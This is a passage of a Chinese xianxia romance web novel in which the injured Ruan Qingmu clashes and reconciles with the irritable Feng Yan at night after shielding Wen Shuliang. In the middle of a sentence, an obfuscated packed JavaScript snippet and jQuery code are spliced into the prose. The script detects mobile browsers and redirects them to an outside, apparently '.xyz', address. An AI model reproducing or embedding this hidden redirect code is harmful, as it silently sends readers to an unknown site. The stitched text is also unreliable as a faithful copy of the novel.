忽然又想起,温疏良白日里说今夜就去洛方镇。完了,这要是把她自己留在这可就遭了。连忙扶着床边的檀木起身,肩处的伤口被牵扯,传来灼烧般的痛意。
她微闭了闭眼,还是站了起来。
其实差不多同样的位置,她也有一处旧伤。甚至非常巧合的是,原主身上也带着那道疤。现在的痛意,也和当时没什么区别。
她踉跄地走到门边,短短几步仿佛走了一个世纪,像个女鬼一样,素白的衣袍,随意披在肩后的墨发,再加上惨白的脸。
终于是一只手扶到了门框,她歇着缓了一会。屋外寂静无声,不会真把她一个人留在这了吧?
她咬着牙,一只手用力将门拉开,忽然一道颀长的身影映了下来,伴随着冷冰冰的声音被屋外的泠风送到她的耳畔。
“你又要做什么?”
风宴在门外难掩怒意地直勾勾盯着她。
28. 第 28 章
阮清木面色苍白又可怜巴巴地站在门前,伤处的灼烧痛感让她一侧的肩膀向下垂着,她一只手扶住门框才能勉强站稳。
“你又要做什么?”
风宴强压着心中的怒意,眸光冷得吓人,自上而下地如刀尖将她从头到脚地寸寸刮过。
好似有些被他的态度吓到,阮清木咬住毫无血色的下唇,小声呢喃道:“我……以为你们都走了。”
阮清木现在确实有些害怕风宴,因她昨天才说让人家护着自己,结果转头她就跑去给温疏良挡伤。
这不等于戏耍人呢。
换作是她,也会觉得自己被当捉弄了,必然气得要死。
阮清木试着开口:“表哥……”
“别叫我。”风宴冷冷地开口,蓦地将她打断。
她立即有些委屈地眨了眨眼睛,她又不会哭,魅术在他面前又不好使,还能怎么办?
阮清木缩了一下肩膀,素白的长裙将她整个人显得薄薄一片,额间全是冷汗,发丝凌乱,她摇摇欲坠地哼了一声:“我好疼啊。”
风宴的神色毫无动容,默不作声地盯着她,眉眼皆是冷意,往日勾人的狭长眼眸此刻只剩下压迫,当真是气极了。
想起让他生气的后果,怕不是又要咬她一口。
氛围安静地有些诡异,圆月如孤灯一般映下月色在二人之间,她环顾了一下四周,风宴的身后是院落只有亭台和几棵高树,树叶默不作声地摇曳摆动。
反正没人,要不就让他咬吧。
她阖上眼,手撑在门框上,神色掩不住的难受。分不清她是疼得难受还是怕被咬的难受。
风宴忽然怔住,蹙起眉,不明白她是什么意思。
“你干什么?”他声音从阮清木头顶飘来。
阮清木睁开一只眼睛,小声开口:“……咬我?”
风宴反应过来,身子顿时僵住,想起那日自己恼羞成怒的样子,少年青涩的眸光前所未有地闪动,怒盯了阮清木一眼,转身就走。
见他竟气得扭头直接走掉,阮清木有些慌,上前一步拽住他的衣角,他走得又急,步子迈得大,阮清木被扯得猛然往前一跌,伤口被牵扯地剧痛,她没忍住闷哼一声。
风宴闻声便顿住,他连忙回过身,身手极快地稳住阮清木,还避开她的伤处,将她捞回自己的怀中。
阮清木在他怀中痛得止不住地抽气,夸张地将五官都皱在一起,借机埋怨地开口:“都说了很疼的……”
“怕疼还要冲上去舍命救他?”风宴目不转睛地盯着怀中之人,忽然冷笑出声:“先前不也求着温疏良护着你?怎么,这种话你到底还要对多少人讲才罢休?”
清泠的夜风毫不留情地刮在阮清木的身上,顶着那欲要将她看穿的灼灼目光,她一言不发地敛起神色。
她也不是没有脾气的人,带着伤还要哄人,问的问题她也回答不了。
哄又哄不好他,那算了。
“以后都不说了。”阮清木单手将他推开,踉跄地扶着身后的门框往屋内走去。
看样子温疏良他们应该还没有动身去洛方镇,不然风宴也不会出现在这了。既然还没走,那她急什么呢?还不如回去多睡会。
至于风宴,就让他气着吧。
正想着,她艰难地往屋内迈开步子,陡然间身下一轻,风宴已将她拦腰打横抱起。
“……”
干什么?方才好声好气地对他,他不搭理。现下不给他好脸色,他倒凑上来了。
阮清木在他怀中没忍住,抬头瞪了他一眼。
风宴垂下眼睫,月光将他长睫投下一连阴影,他没好气地开口:“再瞪我就掐死你。”
她索性扬起脸,将白皙的脖颈往前一伸,同他置气。
见她脖间凸起的一小戳青色脉络,微弱地跳动,好似在挑衅着他。风宴蓦地张开嘴,作势就要咬下去。
可是阮清木哪知道他要咬哪里,见他真的凑过来,吓得她连忙抬起手,微凉的指尖瞬间轻抵在他的唇上。
夜风掠过庭前的高树,枝影摇曳个不停,树叶簌簌喧嚣起来。风宴背月而立,衣袂被风拂动翩翩。
月光恰好漫过她的发间,风又起,吹起她一缕青丝,又吹起她袖间暗香,香气与他呼吸纠缠在一起。
若有似无。
阮清木的呼吸瞬间停住,指尖传来他唇瓣轻软的触感,刚想将手收回。
他却微张开嘴,像小蛇一样,试探性地咬了上去,齿尖轻咬在她手指上。
阮清木觉得他应该是一只毒蛇。
此刻毒素已自她被咬住的指尖缓缓蔓延,酥麻感顺着她的手指,流进她的血液,直抵她跳动的心口。
原来喧嚣的不是繁叶。
也不是风声。
就这么含住她指尖,将她抱回到床塌上。他终于松开口,指尖留下湿濡温凉的印记。
身下的床褥很软,阮清木往下陷去。
“我有点难受。”她忽然开口。
风宴蹙眉:“什么?”
阮清木捂着心口,思索着应该怎么解释他好像是只毒蛇,给她咬中毒了这件事。
“大概是被你凶得。”她想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264147|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了想,说他是毒蛇好像有些冒犯人,万一生气了又得哄,还是算了。
“……”
风宴以为她在说伤口难受,抬手在她额间掐诀,阮清木立即意识模糊起来,连忙握住他的手。
“我不想睡了,睡够了。”
“还有,我想坐起来。”她小声道。
风宴神情淡漠地抽回手,无奈又将她抱起,中途还要听着她哼哼唧唧,他只好放慢动作,终于是让她靠在床榻边的檀木上。
阮清木对着这卧房扫视一圈,冲着窗棂扬了扬下巴,又说道:“表哥你再把窗子打开,吹吹晚风。”
风宴斜了她一眼,抬手挥出灵力,照她吩咐将窗子开了一半。
“再开大点。”
风宴没再搭理她。
好嘛,人工智能也有失灵的时候。再看房内几盏铜灯台坐落着全是未点的烛火,她又开口。
“表哥点灯。”
风宴隐忍着,在阮清木再次开口前,他运起灵力,屋内烛火凭空燃起。
她满意地点了点头,眼睁睁看着他嘴角抽动了几下,早就看出来风宴不耐烦了,但就是想逗逗他。
“以后不许凶我,要这样对我好。”
风宴忽然皱起了眉,他什么都没做,怎么就对她好了?
“只是这样就算对你好了?”他瞥了阮清木一眼。
“就这样。”阮清木自顾自言。
她抬眼向窗外望去,圆月好似离枝头很近,窗棂盛不下半轮月华。其实就这么待在屋里也有些无聊,心里又开始琢磨起来。
“又要干什么?”风宴一直暗中观察她的神色,忽然问道。
没想到被一眼看穿,阮清木憋了半天,才对着他笑了笑,她用没伤的那只手往上面一指。
“想去外面看月亮。”
风宴没再搭理她,往后直接倒在床榻上,还顺便阖上眼。床榻很软,被他身子带得往下一坠。他身上总是带着香气,四周又有白纱做内帘将整个床围住,阮清木感觉整个人都被他的气息包围了。
阮清木忍不住抽了几下鼻子去闻。
风宴忽然睁开眼看向她。
“我没哭。”她用余光瞥见,特意解释道。
风宴深吸一口气,调整了一下自己的脾气,最终还是坐起来,冷眼看着她,淡漠地开口:“云霄宗其余的弟子也都住在这宅邸,你确定要上屋顶去看月亮?”
啊……都在吗?
她圆黑的眸子轻飘飘地眨了眨,“那算了。”
结果下一瞬他蓦地俯身过来,将她抱了起来。